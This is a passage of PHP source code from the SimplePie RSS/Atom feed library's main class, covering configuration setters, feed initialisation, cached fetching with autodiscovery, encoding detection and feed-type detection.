        return $this->registry->register(File::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for data sanitization
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_sanitize_class($class = Sanitize::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sanitize::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling feed items
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_item_class($class = Item::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Item::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling author data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_author_class($class = Author::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Author::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling category data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_category_class($class = Category::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Category::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for feed enclosures
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_enclosure_class($class = Enclosure::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Enclosure::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:text>` captions
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_caption_class($class = Caption::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Caption::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:copyright>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_copyright_class($class = Copyright::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Copyright::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:credit>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_credit_class($class = Credit::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Credit::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:rating>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_rating_class($class = Rating::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Rating::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:restriction>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_restriction_class($class = Restriction::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Restriction::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for content-type sniffing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_content_type_sniffer_class($class = Sniffer::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sniffer::class, $class, true);
    }

    /**
     * Set which class SimplePie uses item sources
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param string $class Name of custom class
     *
     * @return boolean True on success, false otherwise
     */
    public function set_source_class($class = Source::class)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Source::class, $class, true);
    }

    /**
     * Set the user agent string
     *
     * @param string $ua New user agent string.
     */
    public function set_useragent($ua = null)
    {
        if ($ua === null) {
            $ua = \SimplePie\Misc::get_default_useragent();
        }

        $this->useragent = (string) $ua;
    }

    /**
     * Set a namefilter to modify the cache filename with
     *
     * @param NameFilter $filter
     *
     * @return void
     */
    public function set_cache_namefilter(NameFilter $filter): void
    {
        $this->cache_namefilter = $filter;
    }

    /**
     * Set callback function to create cache filename with
     *
     * @deprecated since SimplePie 1.8.0, use {@see set_cache_namefilter()} instead
     *
     * @param mixed $function Callback function
     */
    public function set_cache_name_function($function = 'md5')
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache_namefilter()" instead.', __METHOD__), \E_USER_DEPRECATED);

        if (is_callable($function)) {
            $this->cache_name_function = $function;

            $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
        }
    }

    /**
     * Set options to make SP as fast as possible
     *
     * Forgoes a substantial amount of data sanitization in favor of speed. This
     * turns SimplePie into a dumb parser of feeds.
     *
     * @param bool $set Whether to set them or not
     */
    public function set_stupidly_fast($set = false)
    {
        if ($set) {
            $this->enable_order_by_date(false);
            $this->remove_div(false);
            $this->strip_comments(false);
            $this->strip_htmltags(false);
            $this->strip_attributes(false);
            $this->add_attributes(false);
            $this->set_image_handler(false);
            $this->set_https_domains([]);
        }
    }

    /**
     * Set maximum number of feeds to check with autodiscovery
     *
     * @param int $max Maximum number of feeds to check
     */
    public function set_max_checked_feeds($max = 10)
    {
        $this->max_checked_feeds = (int) $max;
    }

    public function remove_div($enable = true)
    {
        $this->sanitize->remove_div($enable);
    }

    public function strip_htmltags($tags = '', $encode = null)
    {
        if ($tags === '') {
            $tags = $this->strip_htmltags;
        }
        $this->sanitize->strip_htmltags($tags);
        if ($encode !== null) {
            $this->sanitize->encode_instead_of_strip($tags);
        }
    }

    public function encode_instead_of_strip($enable = true)
    {
        $this->sanitize->encode_instead_of_strip($enable);
    }

    public function rename_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->rename_attributes;
        }
        $this->sanitize->rename_attributes($attribs);
    }

    public function strip_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->strip_attributes;
        }
        $this->sanitize->strip_attributes($attribs);
    }

    public function add_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->add_attributes;
        }
        $this->sanitize->add_attributes($attribs);
    }

    /**
     * Set the output encoding
     *
     * Allows you to override SimplePie's output to match that of your webpage.
     * This is useful for times when your webpages are not being served as
     * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
     * is similar to {@see set_input_encoding()}.
     *
     * It should be noted, however, that not all character encodings can support
     * all characters. If your page is being served as ISO-8859-1 and you try
     * to display a Japanese feed, you'll likely see garbled characters.
     * Because of this, it is highly recommended to ensure that your webpages
     * are served as UTF-8.
     *
     * The number of supported character encodings depends on whether your web
     * host supports {@link http://php.net/mbstring mbstring},
     * {@link http://php.net/iconv iconv}, or both. See
     * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
     * more information.
     *
     * @param string $encoding
     */
    public function set_output_encoding($encoding = 'UTF-8')
    {
        $this->sanitize->set_output_encoding($encoding);
    }

    public function strip_comments($strip = false)
    {
        $this->sanitize->strip_comments($strip);
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
     * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
     * |q|@cite
     *
     * @since 1.0
     * @param array|null $element_attribute Element/attribute key/value pairs, null for default
     */
    public function set_url_replacements($element_attribute = null)
    {
        $this->sanitize->set_url_replacements($element_attribute);
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * @param array List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
     */
    public function set_https_domains($domains = [])
    {
        if (is_array($domains)) {
            $this->sanitize->set_https_domains($domains);
        }
    }

    /**
     * Set the handler to enable the display of cached images.
     *
     * @param string $page Web-accessible path to the handler_image.php file.
     * @param string $qs The query string that the value should be passed to.
     */
    public function set_image_handler($page = false, $qs = 'i')
    {
        if ($page !== false) {
            $this->sanitize->set_image_handler($page . '?' . $qs . '=');
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * Set the limit for items returned per-feed with multifeeds
     *
     * @param integer $limit The maximum number of items to return.
     */
    public function set_item_limit($limit = 0)
    {
        $this->item_limit = (int) $limit;
    }

    /**
     * Enable throwing exceptions
     *
     * @param boolean $enable Should we throw exceptions, or use the old-style error property?
     */
    public function enable_exceptions($enable = true)
    {
        $this->enable_exceptions = $enable;
    }

    /**
     * Initialize the feed object
     *
     * This is what makes everything happen. Period. This is where all of the
     * configuration options get processed, feeds are fetched, cached, and
     * parsed, and all of that other good stuff.
     *
     * @return boolean True if successful, false otherwise
     */
    public function init()
    {
        // Check absolute bare minimum requirements.
        if (!extension_loaded('xml') || !extension_loaded('pcre')) {
            $this->error = 'XML or PCRE extensions not loaded!';
            return false;
        }
        // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
        elseif (!extension_loaded('xmlreader')) {
            static $xml_is_sane = null;
            if ($xml_is_sane === null) {
                $parser_check = xml_parser_create();
                xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
                xml_parser_free($parser_check);
                $xml_is_sane = isset($values[0]['value']);
            }
            if (!$xml_is_sane) {
                return false;
            }
        }

        // The default sanitize class gets set in the constructor, check if it has
        // changed.
        if ($this->registry->get_class(Sanitize::class) !== 'SimplePie\Sanitize') {
            $this->sanitize = $this->registry->create(Sanitize::class);
        }
        if (method_exists($this->sanitize, 'set_registry')) {
            $this->sanitize->set_registry($this->registry);
        }

        // Pass whatever was set with config options over to the sanitizer.
        // Pass the classes in for legacy support; new classes should use the registry instead
        $this->sanitize->pass_cache_data(
            $this->enable_cache,
            $this->cache_location,
            $this->cache_namefilter,
            $this->registry->get_class(Cache::class),
            $this->cache
        );
        $this->sanitize->pass_file_data($this->registry->get_class(File::class), $this->timeout, $this->useragent, $this->force_fsockopen, $this->curl_options);

        if (!empty($this->multifeed_url)) {
            $i = 0;
            $success = 0;
            $this->multifeed_objects = [];
            $this->error = [];
            foreach ($this->multifeed_url as $url) {
                $this->multifeed_objects[$i] = clone $this;
                $this->multifeed_objects[$i]->set_feed_url($url);
                $single_success = $this->multifeed_objects[$i]->init();
                $success |= $single_success;
                if (!$single_success) {
                    $this->error[$i] = $this->multifeed_objects[$i]->error();
                }
                $i++;
            }
            return (bool) $success;
        } elseif ($this->feed_url === null && $this->raw_data === null) {
            return false;
        }

        $this->error = null;
        $this->data = [];
        $this->check_modified = false;
        $this->multifeed_objects = [];
        $cache = false;

        if ($this->feed_url !== null) {
            $parsed_feed_url = $this->registry->call(Misc::class, 'parse_url', [$this->feed_url]);

            // Decide whether to enable caching
            if ($this->enable_cache && $parsed_feed_url['scheme'] !== '') {
                $cache = $this->get_cache($this->feed_url);
            }

            // Fetch the data via \SimplePie\File into $this->raw_data
            if (($fetched = $this->fetch_data($cache)) === true) {
                return true;
            } elseif ($fetched === false) {
                return false;
            }

            [$headers, $sniffed] = $fetched;
        }

        // Empty response check
        if (empty($this->raw_data)) {
            $this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
            return false;
        }

        // Set up array of possible encodings
        $encodings = [];

        // First check to see if input has been overridden.
        if ($this->input_encoding !== false) {
            $encodings[] = strtoupper($this->input_encoding);
        }

        $application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'];
        $text_types = ['text/xml', 'text/xml-external-parsed-entity'];

        // RFC 3023 (only applies to sniffed content)
        if (isset($sniffed)) {
            if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
                $encodings[] = 'UTF-8';
            } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings[] = 'US-ASCII';
            }
            // Text MIME-type default
            elseif (substr($sniffed, 0, 5) === 'text/') {
                $encodings[] = 'UTF-8';
            }
        }

        // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
        $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
        $encodings[] = 'UTF-8';
        $encodings[] = 'ISO-8859-1';

        // There's no point in trying an encoding twice
        $encodings = array_unique($encodings);

        // Loop through each possible encoding, till we return something, or run out of possibilities
        foreach ($encodings as $encoding) {
            // Change the encoding to UTF-8 (as we always use UTF-8 internally)
            if ($utf8_data = $this->registry->call(Misc::class, 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) {
                // Create new parser
                $parser = $this->registry->create(Parser::class);

                // If it's parsed fine
                if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url)) {
                    $this->data = $parser->get_data();
                    if (!($this->get_type() & ~self::TYPE_NONE)) {
                        $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
                        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                        return false;
                    }

                    if (isset($headers)) {
                        $this->data['headers'] = $headers;
                    }
                    $this->data['build'] = \SimplePie\Misc::get_build();

                    // Cache the file if caching is enabled
                    $this->data['cache_expiration_time'] = $this->cache_duration + time();
                    if ($cache && !$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                    return true;
                }
            }
        }

        if (isset($parser)) {
            // We have an error, just set \SimplePie\Misc::error to it and quit
            $this->error = $this->feed_url;
            $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
        } else {
            $this->error = 'The data could not be converted to UTF-8.';
            if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
                $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
            } else {
                $missingExtensions = [];
                if (!extension_loaded('iconv')) {
                    $missingExtensions[] = 'iconv';
                }
                if (!extension_loaded('mbstring')) {
                    $missingExtensions[] = 'mbstring';
                }
                if (!class_exists('\UConverter')) {
                    $missingExtensions[] = 'intl (PHP 5.5+)';
                }
                $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
            }
        }

        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);

        return false;
    }

    /**
     * Fetch the data via \SimplePie\File
     *
     * If the data is already cached, attempt to fetch it from there instead
     * @param Base|DataCache|false $cache Cache handler, or false to not load from the cache
     * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
     */
    protected function fetch_data(&$cache)
    {
        if (is_object($cache) && $cache instanceof Base) {
            // @trigger_error(sprintf('Providing $cache as "\SimplePie\Cache\Base" in %s() is deprecated since SimplePie 1.8.0, please provide "\SimplePie\Cache\DataCache" implementation instead.', __METHOD__), \E_USER_DEPRECATED);
            $cache = new BaseDataCache($cache);
        }

        if ($cache !== false && !$cache instanceof DataCache) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($cache) must be of type %s|false',
                __METHOD__,
                DataCache::class
            ), 1);
        }

        $cacheKey = $this->get_cache_filename($this->feed_url);

        // If it's enabled, use the cache
        if ($cache) {
            // Load the Cache
            $this->data = $cache->get_data($cacheKey, []);

            if (!empty($this->data)) {
                // If the cache is for an outdated build of SimplePie
                if (!isset($this->data['build']) || $this->data['build'] !== \SimplePie\Misc::get_build()) {
                    $cache->delete_data($cacheKey);
                    $this->data = [];
                }
                // If we've hit a collision just rerun it with caching disabled
                elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) {
                    $cache = false;
                    $this->data = [];
                }
                // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
                elseif (isset($this->data['feed_url'])) {
                    // Do not need to do feed autodiscovery yet.
                    if ($this->data['feed_url'] !== $this->data['url']) {
                        $this->set_feed_url($this->data['feed_url']);
                        $this->data['url'] = $this->data['feed_url'];

                        $cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->autodiscovery_cache_duration);

                        return $this->init();
                    }

                    $cache->delete_data($this->get_cache_filename($this->feed_url));
                    $this->data = [];
                }
                // Check if the cache has been updated
                elseif (isset($this->data['cache_expiration_time']) && $this->data['cache_expiration_time'] > time()) {
                    // Want to know if we tried to send last-modified and/or etag headers
                    // when requesting this file. (Note that it's up to the file to
                    // support this, but we don't always send the headers either.)
                    $this->check_modified = true;
                    if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) {
                        $headers = [
                            'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                        ];
                        if (isset($this->data['headers']['last-modified'])) {
                            $headers['if-modified-since'] = $this->data['headers']['last-modified'];
                        }
                        if (isset($this->data['headers']['etag'])) {
                            $headers['if-none-match'] = $this->data['headers']['etag'];
                        }

                        $file = $this->registry->create(File::class, [$this->feed_url, $this->timeout / 10, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                        $this->status_code = $file->status_code;

                        if ($file->success) {
                            if ($file->status_code === 304) {
                                // Set raw_data to false here too, to signify that the cache
                                // is still valid.
                                $this->raw_data = false;
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);
                                return true;
                            }
                        } else {
                            $this->check_modified = false;
                            if ($this->force_cache_fallback) {
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);
                                return true;
                            }

                            unset($file);
                        }
                    }
                }
                // If the cache is still valid, just return true
                else {
                    $this->raw_data = false;
                    return true;
                }
            }
            // If the cache is empty
            else {
                $this->data = [];
            }
        }

        // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
        if (!isset($file)) {
            if ($this->file instanceof \SimplePie\File && $this->file->url === $this->feed_url) {
                $file = &$this->file;
            } else {
                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $file = $this->registry->create(File::class, [$this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
            }
        }
        $this->status_code = $file->status_code;

        // If the file connection has an error, set SimplePie::error to that and quit
        if (!$file->success && !($file->method & self::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) {
            $this->error = $file->error;
            return !empty($this->data);
        }

        if (!$this->force_feed) {
            // Check if the supplied URL is a feed, if it isn't, look for it.
            $locate = $this->registry->create(Locator::class, [&$file, $this->timeout, $this->useragent, $this->max_checked_feeds, $this->force_fsockopen, $this->curl_options]);

            if (!$locate->is_feed($file)) {
                $copyStatusCode = $file->status_code;
                $copyContentType = $file->headers['content-type'];
                try {
                    $microformats = false;
                    if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
                        $doc = new \DOMDocument();
                        @$doc->loadHTML($file->body);
                        $xpath = new \DOMXpath($doc);
                        // Check for both h-feed and h-entry, as both a feed with no entries
                        // and a list of entries without an h-feed wrapper are both valid.
                        $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                            'contains(concat(" ", @class, " "), " h-entry ")]';
                        $result = $xpath->query($query);
                        $microformats = $result->length !== 0;
                    }
                    // Now also do feed discovery, but if microformats were found don't
                    // overwrite the current value of file.
                    $discovered = $locate->find(
                        $this->autodiscovery,
                        $this->all_discovered_feeds
                    );
                    if ($microformats) {
                        if ($hub = $locate->get_rel_link('hub')) {
                            $self = $locate->get_rel_link('self');
                            $this->store_links($file, $hub, $self);
                        }
                        // Push the current file onto all_discovered feeds so the user can
                        // be shown this as one of the options.
                        if (isset($this->all_discovered_feeds)) {
                            $this->all_discovered_feeds[] = $file;
                        }
                    } else {
                        if ($discovered) {
                            $file = $discovered;
                        } else {
                            // We need to unset this so that if SimplePie::set_file() has
                            // been called that object is untouched
                            unset($file);
                            $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
                            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                            return false;
                        }
                    }
                } catch (\SimplePie\Exception $e) {
                    // We need to unset this so that if SimplePie::set_file() has been called that object is untouched
                    unset($file);
                    // This is usually because DOMDocument doesn't exist
                    $this->error = $e->getMessage();
                    $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]);
                    return false;
                }

                if ($cache) {
                    $this->data = [
                        'url' => $this->feed_url,
                        'feed_url' => $file->url,
                        'build' => \SimplePie\Misc::get_build(),
                        'cache_expiration_time' => $this->cache_duration + time(),
                    ];

                    if (!$cache->set_data($cacheKey, $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                }
            }
            $this->feed_url = $file->url;
            $locate = null;
        }

        $this->raw_data = $file->body;
        $this->permanent_url = $file->permanent_url;
        $headers = $file->headers;
        $sniffer = $this->registry->create(Sniffer::class, [&$file]);
        $sniffed = $sniffer->get_type();

        return [$headers, $sniffed];
    }

    /**
     * Get the error message for the occurred error
     *
     * @return string|array Error message, or array of messages for multifeeds
     */
    public function error()
    {
        return $this->error;
    }

    /**
     * Get the last HTTP status code
     *
     * @return int Status code
     */
    public function status_code()
    {
        return $this->status_code;
    }

    /**
     * Get the raw XML
     *
     * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
     * the data instead of printing it.
     *
     * @return string|boolean Raw XML data, false if the cache is used
     */
    public function get_raw_data()
    {
        return $this->raw_data;
    }

    /**
     * Get the character encoding used for output
     *
     * @since Preview Release
     * @return string
     */
    public function get_encoding()
    {
        return $this->sanitize->output_encoding;
    }

    /**
     * Send the content-type header with correct encoding
     *
     * This method ensures that the SimplePie-enabled page is being served with
     * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
     * and character encoding HTTP headers (character encoding determined by the
     * {@see set_output_encoding} config option).
     *
     * This won't work properly if any content or whitespace has already been
     * sent to the browser, because it relies on PHP's
     * {@link http://php.net/header header()} function, and these are the
     * circumstances under which the function works.
     *
     * Because it's setting these settings for the entire page (as is the nature
     * of HTTP headers), this should only be used once per page (again, at the
     * top).
     *
     * @param string $mime MIME type to serve the page as
     */
    public function handle_content_type($mime = 'text/html')
    {
        if (!headers_sent()) {
            $header = "Content-type: $mime;";
            if ($this->get_encoding()) {
                $header .= ' charset=' . $this->get_encoding();
            } else {
                $header .= ' charset=UTF-8';
            }
            header($header);
        }
    }

    /**
     * Get the type of the feed
     *
     * This returns a \SimplePie\SimplePie::TYPE_* constant, which can be tested against
     * using {@link http://php.net/language.operators.bitwise bitwise operators}
     *
     * @since 0.8 (usage changed to using constants in 1.0)
     * @see \SimplePie\SimplePie::TYPE_NONE Unknown.
     * @see \SimplePie\SimplePie::TYPE_RSS_090 RSS 0.90.
     * @see \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
     * @see \SimplePie\SimplePie::TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
     * @see \SimplePie\SimplePie::TYPE_RSS_091 RSS 0.91.
     * @see \SimplePie\SimplePie::TYPE_RSS_092 RSS 0.92.
     * @see \SimplePie\SimplePie::TYPE_RSS_093 RSS 0.93.
     * @see \SimplePie\SimplePie::TYPE_RSS_094 RSS 0.94.
     * @see \SimplePie\SimplePie::TYPE_RSS_10 RSS 1.0.
     * @see \SimplePie\SimplePie::TYPE_RSS_20 RSS 2.0.x.
     * @see \SimplePie\SimplePie::TYPE_RSS_RDF RDF-based RSS.
     * @see \SimplePie\SimplePie::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
     * @see \SimplePie\SimplePie::TYPE_RSS_ALL Any version of RSS.
     * @see \SimplePie\SimplePie::TYPE_ATOM_03 Atom 0.3.
     * @see \SimplePie\SimplePie::TYPE_ATOM_10 Atom 1.0.
     * @see \SimplePie\SimplePie::TYPE_ATOM_ALL Any version of Atom.
     * @see \SimplePie\SimplePie::TYPE_ALL Any known/supported feed type.
     * @return int \SimplePie\SimplePie::TYPE_* constant
     */
    public function get_type()
    {
        if (!isset($this->data['type'])) {
            $this->data['type'] = self::TYPE_ALL;
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_10;
            } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_03;
            } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) {
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_10;
                }
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_090;
                }
            } elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) {
                $this->data['type'] &= self::TYPE_RSS_ALL;
                if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                    switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                        case '0.91':
                            $this->data['type'] &= self::TYPE_RSS_091;
                            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                    case '0':
                                        $this->data['type'] &= self::TYPE_RSS_091_NETSCAPE;
                                        break;

                                    case '24':
                                        $this->data['type'] &= self::TYPE_RSS_091_USERLAND;
                                        break;
                                }
                            }
                            break;

                        case '0.92':
                            $this->data['type'] &= self::TYPE_RSS_092;
                            break;

                        case '0.93':
                            $this->data['type'] &= self::TYPE_RSS_093;
                            break;

                        case '0.94':
                            $this->data['type'] &= self::TYPE_RSS_094;
                            break;

                        case '2.0':
                            $this->data['type'] &= self::TYPE_RSS_20;
                            break;
                    }
                }
            } else {
                $this->data['type'] = self::TYPE_NONE;
            }
        }
        return $this->data['type'];
    }

    /**
     * Get the URL for the feed
